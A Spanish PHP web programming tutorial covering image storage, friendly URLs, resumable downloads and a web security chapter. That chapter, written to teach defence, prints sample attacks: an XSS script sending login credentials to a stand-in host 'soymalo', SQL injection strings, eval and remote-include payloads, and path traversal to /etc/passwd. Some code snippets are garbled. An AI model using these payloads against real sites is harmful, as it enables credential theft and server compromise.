La autenticación con certificados requiere un servidor seguro. Es posible autenticar con certificados en un servidor http, redireccionando a uno https para autenticar. Un posible protocolo está descrito aquí. La url https://sec.nisu.org/common/auth.php?reto=url-actual-uuencode provee este protocolo para quien lo desee usar, actualmente sin verificación de CRL.
Almacenamiento de imágenes ^
Un proyecto web puede tener imágenes. No estoy pensando en iconos o logotipos, sino en imágenes que forman parte de los los datos que maneja un programa. Por ejemplo, en una inmobiliaria, las fotos del inmueble son datos igual que el nombre del propietario. ¿Cómo almacenar las imágenes?.
  • Es habitual guardarlas en archivos, y la ruta de cada archivo guardarla en la base de datos. En este caso debemos tener en cuenta la ineficiencia de algunos sistemas de atrchivos (por ejemplo ext2/3) para manejar directorios con muchos archivos. Lo que suele hacerse es generar un nombre aleatorio para la imágen, por ejemplo cf38ac800b64a0 y convertirlo en c/f/3/8/ac800b64a0, con lo que se genera un árbol de directorios que mejora mucho el acceso a disco.

  • También es una opción guardar las imágenes en la base de datos. En este caso, debemos tener en cuenta que la base de datos crecerá considerablemente. Sus prestaciones no disminuirán, pero el tamaño debe de tenerse en cuenta en las copias de seguridad. A nivel de prestaciones, el acceso a la base de datos es probablemente menos costoso que al sistema de archivos, al menos si se accede con frecuencia. El único detalle es saber cómo mostrar la imágen. Para ello hay que cambiar el Content-type que PHP pone por defecto a "image/tipo, algo tan simple como:  
      
    list($img)=@mysql_fetch_row(mysql_query("select img from ...."));
      
    header("Content-type: image/jpeg");
      if $(
    img)
        echo 
    $img;
      else
        echo 
    $imagen_por_defecto// no se deben mostrar mensajes de error
Si las imágenes no se insertan a mano, sino que proviene de una descarga o de un upload es conveniente analizarlas y procesarlas antes de guardarlas. Por ejemplo si estamos recibiendo fotos, lo mejor es convertirlas a formato jpeg, incluso podemos plantearnos reducir su tamaño y sobre todo su resolución. Estas operaciones pueden realizarse con gd, algo como:  
  $tmp
=imagecreatefromstring($img_cargada_de_donde_sea);
  
ob_start(); Imagejpeg($tmp); $img ob_get_clean();
  
mysql_query("insert into imgs (img,x,y,l) values ('".
       
mysql_real_escape_string($img)."','".
       
ImageSX($tmp)."','".ImageSY($tmp)."','".strlen($img)."')");
En el ejemplo, hemos tomado la imagen y la hemos convertido a jpeg. Después hemos almacenado la imagen, sus dimensiones y el número de bytes en una tabla mysql. Si por ejemplo quisiéramos reducirla a 100 pixels de ancho, podemos hacer:  
  $tmp
=imagecreatefromstring($img_cargada_de_donde_sea);
  
$img=imagecreatetruecolor(100,$alto=100*($sy=ImageSY($tmp))/($sx=ImageSX($tmp)));
  
imagecopyresampled($img$tmp0,0,0,0100,$alto$sx$sy);

Misc

Mejores URLs
Supongamos una web de información sobre películas, donde se accede a la información de una película con una URL del tipo: http://servidor/miscript?peli=Match+Point&anyo=2005 Este tipo de URL no es muy bien tratada por los buscadores, que no gustan de los parámetros a scripts. Una forma de mejorar la URL es usando una habilidad del servidor web que permite extender el path del script de forma virtual: http://servidor/miscript/Match+Point/2005 Aparentemente no es una URL válida, pero resulta serlo: aunque mirando la URL parezca que miscript es un directorio, realmente el servidor se da cuenta de que es un script y lo ejecuta, pasando el resto de la URL en la información del servidor. Así podemos compatibilizar las dos urls según:  
  
if ($pi==$_SERVER['PATH_INFO'])
    list(
$dum,$pel,$anyo)=explode('/',$pi);
  else {
    
$pel=$_GET['peli'];
    
$anyo=$_GET['anyo'];
  } 
El inconveniente obvio es que los parámetros deben darse en un orden dado, a no ser que queramos complicar la URL, pero entonces justamente no obtendremos la simplificación buscada de la URL.
Continuación de descargas
Supongamos una web que contiene ficheros grandes, por ejemplo, películas en formato AVI, y queremos que su descarga se produzca vía PHP para controlar el acceso. Una forma de hacerlo es usando una función como readfile, que lee el contenido de un archivo y lo vuelca por la salida estándar. No obstante esta función tiene problemas de buffering y en ciertas instalaciones intenta cargar el contenido completo del archivo en memoria, lo que colapsa el servidor. Además lee siempre el archivo completo, lo cual es un inconveniente si el cliente ha interrumpido la descarga y quiere continuarla.
Para resolver ambos problemas, podemos emplear este código (sea $fil el nombre del fichero, ya saneado y verificado):  
  $h
=@fopen($fil,'rb');
  if ( 
$r=$_SERVER['HTTP_RANGE'] and preg_match('/bytes=\h*(\d+)-(\d*)[\D.*]?/i'$r$m))
    
$in=$m[1];
  
$sz=filesize($fil);
  if (
$in) {
    
header('HTTP/1.0 206 Partial Content');
    
header("Content-Range: bytes $in-".($sz-1)."/$sz");
  }
  
header('Accept-Ranges: bytes');
  
header('Content-type: video/x-msvideo');
  
header('Content-Disposition: attachment; filename="'.preg_replace('+.*/+','',$fil).'";');
  
header('Content-length: '.($sz-$in));
  
fseek($h,$in,SEEK_SET);
  while (!
feof($h))
    echo 
fread($h,1000000);
Si el cliente presenta una petición de rango de bytes (que el PHP recoge en $_SERVER['HTTP_RANGE']), tomamos en $in el primer número del rango que es el offset de inicio de la descarga y situamos el puntero del archivo (fseek), leyendo a partir de ahí con el clásico bucle hasta fin de fichero.
La conexión con el cliente
Si ya has progamado bastante con PHP, habás apreciado, en un programa que escriba bastante información en el output (en la página que ve el navegador), que si desde el navegador interrumpes la descarga, el script que se ejecuta en el servidor también se interrumpe. Realmente se interrumpe cuando va a sacar algo por el output y el canal está desconectado. Sería deseable:
  • Que los scripts no se interrumpan si el cliente interrumpe la página. Para ello PHP dispone de ignore_user_abort(true), así de fácil.
  • Que los scripts se interrumpan, pero ejecutando alguna función "final". Para ello se dispone de register_shutdown_function(), pero ojo: si el usuario no interrumpe, igual se ejecutará al final del script.
  • Y viceversa, que un script desee hacer otras tareas sin molestar al usuario, es decir que escriba algo en la página, desconecte del navegador, y siga haciendo. por ejemplo funciones de mantenimiento. Para ello se aprovecha el hecho de que (¿todos?) los navegadores no leen más allá de los bytes indicados por el Content-length, así este trozo de código sirve de ejmplo de cómo hacerlo, no sobra nada:
    $resp
    =..... lo que se quiere escribir antes de cerrarpuede usarse un ob_get_clean por comodidad.
    header("Connection: close");
    header("Content-Encoding: none");
    ignore_user_abort(true); // por si acaso ...
    // session_write_close(); // debo llamarlo cuanto antes si usas sesiones
    header("Content-Length: ".strlen($resp)); 
    echo 
    $resp;
    ob_flush(); // necesario si ob_ automático
    flush(); // aquí el cliente desconecta
    ... sigo haciendo lo quiero sin que el cliente se entere ni pueda interrumpir 

Seguridad Web ^

Este capítulo se organiza como una colección de consejos razonados. Para más información, consulta la bibliografía.

Limpia la entrada

  • Limpia lo que vas a mostrar
    Aunque este fragmento de script parezca inofensivo, no lo es:   echo $_GET["algo"];  Supongamos que alguien nos obliga (por ingenieria social) a acceder a este script con (debidamente codificado): ?algo=<img height=0 width=0 src=borra_base_de_datos.php> al mostrar ese HTML, el navegador intentará cargar la falsa imagen, provocando la llamada al escript borra_base_de_datos.php. Este efecto se denomina Cross-site request forgery y sucede, por ejemplo, en algunos webmails, que no filtran correctamente el HTML y al abrir un correo de contenido HTML, el lector del mensaje queda expuesto a agresiones sobre su propio correo.

    Ahora supongamos que el anterior fragmento está en un formulario de entrada a una web. Si nos fuerzan a invocarlo con: ?algo=<script>
      function mala(u,p) {
        var i = New Image;
        i.src='http://soymalo/malo.php?u='+u+'&p='+p;
      }
      getDocumentById('form').onSubmit=mala(
        getDocumentById('user').value,
        getDocumentById('password').value);
    </script>
    provocará que al enviar el formulario se cree una imagen con la URL http://soymalo/malo... a la que se le pasa como parámetro nuestro usuario y contraseña. Este efecto se denomina Cross-site scripting.

    Algunos navegadores, como Firefox, admiten URIs autocontenidas, del tipo data:text/html;base64,PHNjcmlwdD5hbGVydCgnaG9sYScpOzwvc2NyaXB0Pgo que son especialmente difíciles de tratar. Si, por ejemplo, no filtramos algo como <iframe src=data... puede inyectarse un script difícil de ver pues va en base64..

  • Limpia lo que vas a consultar
    Observa este código orientado a autenticar un usuario:   $user=$_GET["user"]; $pwd=$_GET["pwd"];
      
    mysql_query("select * from usuarios where user=$user and pwd=$pwd");
    Si ejecutamos el script invocando la URL con (debidamente codificado): ?user='admin'+or+(1=1&pwd='x') y magic_quotes_gpc está deshabilitado, lo que se envía en la consulta es:  mysql_query("select * from usuarios where user='admin' or (1=1 and pwd='x'); Lo que provoca entrar como administrador. Este problema se conoce como Inyección SQL y ha provocado problemas de seguridad graves.

    Un intento de resolverlo es usar:  mysql_query("select * from usuarios where user='$user' and pwd='$pwd'");? pero podemos ejecutar (debidamente codificado): ?user=admin'+#&pwd= provocando la ejecución de:  mysql_query("select * from usuarios where user='admin' #' and pwd=''"); La solución pasa por comprobar si magic_quotes_gpc está habilitado y si no lo está, limpiar la entrada con addslashes o mysql_real_escape_string, tal y como ya se ha explicado.

  • Limpia lo que vas a ejecutar
    Este es el más obvio de los casos. Para entender por qué basta con ver estos ejemplos:   eval($_GET["algo"]); ejecutado con: ?algo=unlink('index.php')   require($_GET["algo"]); ejecutado con: ?algo=http://site_malicioso/script_malicioso_php.txt
  • Limpia los nombres de fichero
    Si recibes un archivo por un POST y quieres darle en el servidor el mismo nombre que el usuario te sugiere, podrías emplear:   move_uploaded_file($_FILES['fic']['tmp_name'],$_FILES['fic']['name']);  Si no te aseguras de limpiar $_FILES['fic']['name'], el usuario puede introducirte caracteres que creen problemas, en especial podría introducir un path y forzarte a reescribir un archivo valioso.

    Supón ahora que recibes una archivo de nombre test.php. Este archivo lo colocas en un directorio accesible desde el servidor: podrán ejecutar lo que quieran en tu servidor, gravísimo. Por eso, los directorios donde coloque archivos que recibes no deberían ser accesibles vía web, lo que puedes conseguir habitualmente (apache) mediante un archivo de nombre .htaccess que contendrá: order allow,deny
    deny from all
    Si es preciso que el contenido de esos archivos que sea accesible vía servidor, puedes, por ejemplo, renombrarlos modificando la extensión, o simplemente, metierlos en Zips, de forma que desde el servidor se podrá descargar el Zip conteniendo cualquier cosa. Otra solución es desactivar la ejecución de PHP, CGI, SHTML, etc. en ese directorio vía .htaccess.

  • Normaliza los nombres de fichero
    Cuando recibas un nombre de fichero, por ejemplo para descargar, asegúrate que es uno de los que esperas que puedan descargarse. Puedes consultar una base de datos, pero imagínate la situación de que quieres permitir descargar, vía un script PHP, lo que hay en el directorio Descargas. Podrías hacer algo como:   $fich=$_GET["fich"];
      
    readfile($fich);
    Sería una verdadera barabaridad, pues permitirías descargar cualquier archivo al que el servidor web tuviera acceso, por ejemplo /etc/passwd, simplemente poniendo en la URL ?fich=/etc/passwd.
    Para corregirlo, añadimos una comprobación:   $fich=$_GET["fich"];
      if (
    preg_match('+^Descargas/+',$fichreadfile($fich);
    que se asegura de que el nombre del archivo comienza con Descargas. Pero alguien puede introducir: ?fich=Descargas/../../../etc/passwd. El mismo problema sucede con:   $fich=$_GET["fich"];
      
    readfile("Descargas/$fich");
    pues basta con introducir ?fich=../../../etc/passwd. Lo correcto es normalizar el nombre del archivo, algo como:   $fich=realpath($_GET["fich"]);
      
    $valid=getcwd()."/Descargas/";
      if (
    substr($fich,0,strlen($valid)) == $validreadfile($fich);

Cuida la autenticación

Una vez el usuario está autenticado por la vía que proceda, indicaremos que lo está con algo del tipo $_SESSION['auth']=true;, lo que es básicamente correcto, pero se pueden hacer mejoras:
  • Registra la IP
    Bastará con algo como $_SESSION['auth']="{$_SERVER['REMOTE_ADDR']}.{$_SERVER['HTTP_X_FORWARDED_FOR']}";. Deben usarse ambas IPs y concatenadas.
    Averigua que significa cada IP y piensa qué sucedería si usamos sólo una de ellas.
    Así nos aseguramos que una sesión sólo se usa desde una IP, lo que ayuda a evitar el robo de sesiones.
  • Introduce información secreta
    En lugar de testear:  if (!$_SESSION["auth"]) error(__("No autenticado")); haríamos algo como esto:   //!
      
    $secreto="un secreto";
      ...
      
    // justo al autenticar
      
    $_SESSION["auth"]=$secreto;
      ...
      
    // y al comprobar si está autenticado:
      
    if ($_SESSION["auth"] != $secretoerror(__("No autenticado"));
      
    ¿Qué se consigue con esto?. Imagina que en el mismo servidor hay otra aplicación de otra persona que simplemente hace: $_SESSION["auth"]=true;. PHP establece (por defecto) como ámbito (path) de la cookie de sesión todo el servidor (/). Por tanto esta persona accede a su aplicación, luego accede a la tuya y se encuentra ilegítimamente autenticado.
    Esto puede pasar incluso en dominios distintos alojados en el servidor. Razona cómo aprovecharías esta vulnerabilidad.
    Razona que sucede si suPHP está en marcha.
    Para poder portar tu aplicación a otro servidor y crear un secreto diferente, puedes usar mkInstaller, definiendo como atributos de la variabe secreto: ty => 'hidden' y df => 'uniqid("sec",true)', lo que causará la generación de un valor único sin intervención de quien instala.

Comprueba las autorizaciones

La autorización es el derecho a acceder o manipular un determinado dato, al margen de la autenticación. Cierto es que habitualmente hay primero un proceso de autenticación y después de autorización, pero son procesos distintos.
Observa este ejemplo:  // ya autenticado
$q=mysql_query("select * from operaciones, usuarios_derechos where
                operaciones.id=usuarios_derechos.id and usuarios_derechos.user = '
$user'");
echo 
"<form action="script2"><select name="opera">";
while (
$op=mysql_fetch_assoc($q))
  echo 
"<option>".$op["nom"];
echo 
"</select>";
Lo que pretende es obtener la lista de operaciones a las que un usuario (ya autenticado) está autorizado a realizar y las muestra en un select. Supongamos script2 similar a esto:  switch($_GET["opera"]) {
  case: 
"borrar"unlink("tal"); 
....
En principio cada usuario sólo obtendrá la lista de las operaciones que puede hacer, sólo podrá elegir una de ellas, sólo podrá ejecutar una de ellas. Pero si el usuario envía directamente a script2 una operación a la que no tiene derecho, la ejecutará sin más, algo como ?opera=destruirTodo

El fallo está en que script2 debe volver a comprobar la autorización del usuario.
Parece obvio pero genera una enorme cantidad de problemas, especialmente en programadores noveles.

La autorización no sólo afecta a acciones, también a objetos. Supongamos que en tu trabajo tienes varias cuentas de correo y un script que te permite redirigirlas. El script hace algo como:  // ya autenticado
$q=mysql_query("select * from cuentas where cuentas.propietario = '$user'");
echo 
"<form action="script2"><select name="cuenta">";
while (
$cu=mysql_fetch_assoc($q))
  echo 
"<option>".$op["mail"];
echo 
"</select>";
Así te muestra la lista de cuentas que tienes y, seleccionada una, pasas a script2 que te permite redirigirla. Si script2 no vuelve a comprobar que la cuenta es tuya, bastará con que llames a script2 con ?cuenta=dirección_de_otro@midominio.com para que puedas redirigir la cuenta de otra persona. Esto, que parece una trivialidad, ha pasado en cierta Universidad que muchos conocemos ...

Otro ejemplo de error típico en noveles aparece a la hora de actualizar bases de datos a partir de formularios. Supongamos un portal en el que existen diversos usuarios con diversos roles. Algunos usuarios pueden actualizar datos, pero sólo pueden acceder a los datos que les han sido asignados. Por ejemplo, un aula virtual en la que hay alumnos y profesores, los profesores pueden actualizar muchas cosas, pero sólo de sus cursos y de sus alumnos. Imaginemos éste trozo de código:  // ya autenticado y comprobado el rol de profesor, siendo $yo el id de profesor
$q=mysql_query("select * from alumnos where profesor=$yo");
while (
$al=mysql_fetch_assoc($q))
  echo 
"<input type=check name=\"falta_asistencia[{$al['idal']}]\" value=1> Poner falta a {$al['nom']}<br>";
Mostrará la lista de alumnos del profesor y le propondrá poner faltas de asistencia. Éste puede ser el código que recoge las faltas:  // ya autenticado y comprobado el rol de profesor, siendo $yo el id de profesor
if ($fls=$_POST['falta_asistencia'])
  foreach(
$fls as $idx => $dum)
    
mysql_query("update alumnos set falta=1 where idal=$idx");
El código tiene un primer error de seguridad en que no se trata $idx, pero el error que nos ocupa es el hecho de que al hacer la actualización es donde debemos comprobar que el alumno $idx, pertenece al profesor $yo. Una solución puede ser:  
if ($fls=$_POST['falta_asistencia'])
  foreach(
$fls as $idx => $dum) {
    
$idx=int_val($idx);
    
mysql_query("update alumnos,profes set alumnos.falta=1 where idal=$idx and profesor=idprof and idprof=$yo");
  }
O más sencillo:  
    mysql_query
("update alumnos set alumnos.falta=1 where idal=$idx and profesor=$yo");
He propuesto el update más complejo porque a veces es necesario hacerlo así, aunque en este caso era más sencillo.

Captcha

El captcha es el único método suficientemente fiable de que un servidor pueda asegurarse de que interactúa con un operador humano. Básicamente consiste en un reto, que, en alguna forma intratable automáticamente, se muestra al usuario para que lo devuelva al servidor.
Algunos captcha son preguntas para ser respondidas por el usuario, pero pueden ser tratados automáticamente. Lo único fiable es emplear elementos de audio o video, que puedan ser fácilmente reconocibles por el usuario, pero intratables automáticamente.
No es recomendable emplear elementos tan difíciles que el usuario no pueda entenderlos. Tampoco deben usarse imágenes como ésta pues es tratable automáticamente. Estudios han demostrado que poner un fondo complicado sólo produce dificultad al usuario. Por otra parte, es mi opinión que vale la pena usar un diccionario, de modo que el usuario pueda estar seguro de la palabra que teclea.
Un captcha típico es freecap (disponible en formato instalador), que produce imágenes como ésta otra. Hay muchos captchas buenos disponibles libremente. Uno muy sencillo es mmCaptcha que sólo ocupa 4K, a diferencia de otros que requieren fuentes externas, se configura por parámetros y genera imágenes como , generada ahora mismo, click para cambiarla.
Dado el siguiente formulario de inscripción sin captcha, realiza un script cliente que inscriba infinitos usuarios: <form action=reg.php>
  <input name=usuario><input name=email>
</form>

Más información sobre seguridad

Para más información, consultar:

Enlaces externos

Elige estilo - Legal